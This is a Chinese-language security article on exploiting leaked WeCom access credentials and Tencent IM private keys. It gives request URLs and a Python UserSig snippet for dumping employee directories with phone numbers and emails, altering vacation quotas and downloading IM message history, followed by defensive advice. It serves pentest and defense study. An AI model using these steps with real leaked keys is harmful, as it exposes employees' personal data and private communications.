企业微信+腾讯IM密钥泄漏利用
字数 954 2025-08-29 08:32:01

企业微信与腾讯IM密钥泄漏利用分析

一、背景概述

本文档详细分析企业微信access_token和腾讯IM密钥泄漏后的利用过程,涵盖从信息收集到权限提升的完整攻击链。

二、企业微信access_token泄漏利用

1. 获取access_token

通过泄漏的企业ID(corpid)和应用密钥(corpsecret)获取access_token:

https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=YOUR_CORPID&corpsecret=YOUR_CORPSECRET

返回示例:

{
  "access_token": "eQq8YjcgxHOtk39Xu4d...",
  "expires_in": 7200
}

2. 验证access_token权限

使用腾讯官方工具查询access_token权限:

https://open.work.weixin.qq.com/devtool/query

3. 信息收集API

获取企业微信API域名IP段

GET https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=ACCESS_TOKEN

获取部门列表

GET https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=ACCESS_TOKEN

获取部门成员(简略信息)

GET https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=ACCESS_TOKEN&department_id=1&fetch_child=1

获取部门成员详情(完整信息)

GET https://qyapi.weixin.qq.com/cgi-bin/user/list?access_token=ACCESS_TOKEN&department_id=1&fetch_child=1

返回数据包含:姓名、手机号、头像、企业微信二维码、邮箱等敏感信息。

获取单个部门详情

GET https://qyapi.weixin.qq.com/cgi-bin/department/get?access_token=ACCESS_TOKEN&id=DEPARTMENT_ID

获取加入企业二维码(需管理权限)

GET https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=ACCESS_TOKEN

4. 受限操作

普通应用的secret仅有只读权限,以下操作需要通讯录同步助手或第三方通讯录应用的权限:

  • 创建成员
POST /cgi-bin/user/create?access_token=ACCESS_TOKEN
{
  "userid": "test123",
  "name": "测试用户",
  "department": [1],
  "mobile":"13888888888"
}

5. 考勤相关API

获取企业所有打卡规则

GET https://qyapi.weixin.qq.com/cgi-bin/checkin/getcorpcheckinoption?access_token=ACCESS_TOKEN

获取成员假期余额

POST /cgi-bin/oa/vacation/getuservacationquota?access_token=ACCESS_TOKEN
{
  "userid": "USERID"
}

修改成员假期余额(需权限)

POST /cgi-bin/oa/vacation/setoneuserquota?access_token=ACCESS_TOKEN
{
  "userid": "USERID",
  "vacation_id": 1,
  "leftduration": 480,
  "time_attr": 1,
  "remarks": "修改备注"
}

三、腾讯IM密钥泄漏利用

1. 泄漏信息示例

qq.im.sdkappid=1400571601
qq.im.privateKey=PRIVATE_KEY
qq.im.identifier=ADMIN_USER
qq.im.apiver=2
qq.live.bizid=BIZID

2. 生成UserSig

UserSig是用户登录即时通信IM的密码,使用Python生成:

import TLSSigAPIv2

api = TLSSigAPIv2.TLSSigAPIv2(SDKAPPID, 'PRIVATE_KEY')
sig = api.gen_sig("USERID")
print(sig)

3. 关键API利用

获取App中的所有群组

https://console.tim.qq.com/v4/group_open_http_svc/get_appid_group_list
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
&contenttype=json

拉取运营数据

https://console.tim.qq.com/v4/openconfigsvr/getappinfo
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM

下载最近消息记录

https://console.tim.qq.com/v4/open_msg_svc/get_history
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
&contenttype=json

获取服务器IP地址

https://console.tim.qq.com/v4/ConfigSvc/GetIPList
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
&contenttype=json

4. 在线验证工具

腾讯官方提供在线API测试工具:

https://tcc.tencentcs.com/im-api-tool/index.html

四、防御建议

  1. 敏感信息保护

    • 严格保护corpid、corpsecret、privateKey等敏感信息
    • 避免将敏感信息硬编码在配置文件中
  2. 权限控制

    • 按照最小权限原则分配应用权限
    • 区分只读应用和管理应用
  3. 监控与审计

    • 监控access_token的使用情况
    • 定期审计API调用日志
  4. 密钥轮换

    • 定期更换corpsecret和privateKey
    • 及时撤销泄漏的密钥
  5. 安全意识

    • 加强开发人员的安全培训
    • 避免在代码仓库中提交敏感信息

五、总结

本文详细分析了企业微信和腾讯IM密钥泄漏后的利用方法,展示了从信息收集到权限提升的完整攻击链。在实际渗透测试中,本地信息收集往往能发现这类敏感信息,而通过官方API文档可以进一步扩大战果。防御方面需要从信息保护、权限控制和监控审计等多方面入手。

企业微信与腾讯IM密钥泄漏利用分析 一、背景概述 本文档详细分析企业微信access_ token和腾讯IM密钥泄漏后的利用过程,涵盖从信息收集到权限提升的完整攻击链。 二、企业微信access_ token泄漏利用 1. 获取access_ token 通过泄漏的企业ID(corpid)和应用密钥(corpsecret)获取access_ token: 返回示例: 2. 验证access_ token权限 使用腾讯官方工具查询access_ token权限: 3. 信息收集API 获取企业微信API域名IP段 获取部门列表 获取部门成员(简略信息) 获取部门成员详情(完整信息) 返回数据包含:姓名、手机号、头像、企业微信二维码、邮箱等敏感信息。 获取单个部门详情 获取加入企业二维码(需管理权限) 4. 受限操作 普通应用的secret仅有只读权限,以下操作需要通讯录同步助手或第三方通讯录应用的权限: 创建成员 5. 考勤相关API 获取企业所有打卡规则 获取成员假期余额 修改成员假期余额(需权限) 三、腾讯IM密钥泄漏利用 1. 泄漏信息示例 2. 生成UserSig UserSig是用户登录即时通信IM的密码,使用Python生成: 3. 关键API利用 获取App中的所有群组 拉取运营数据 下载最近消息记录 获取服务器IP地址 4. 在线验证工具 腾讯官方提供在线API测试工具: 四、防御建议 敏感信息保护 : 严格保护corpid、corpsecret、privateKey等敏感信息 避免将敏感信息硬编码在配置文件中 权限控制 : 按照最小权限原则分配应用权限 区分只读应用和管理应用 监控与审计 : 监控access_ token的使用情况 定期审计API调用日志 密钥轮换 : 定期更换corpsecret和privateKey 及时撤销泄漏的密钥 安全意识 : 加强开发人员的安全培训 避免在代码仓库中提交敏感信息 五、总结 本文详细分析了企业微信和腾讯IM密钥泄漏后的利用方法,展示了从信息收集到权限提升的完整攻击链。在实际渗透测试中,本地信息收集往往能发现这类敏感信息,而通过官方API文档可以进一步扩大战果。防御方面需要从信息保护、权限控制和监控审计等多方面入手。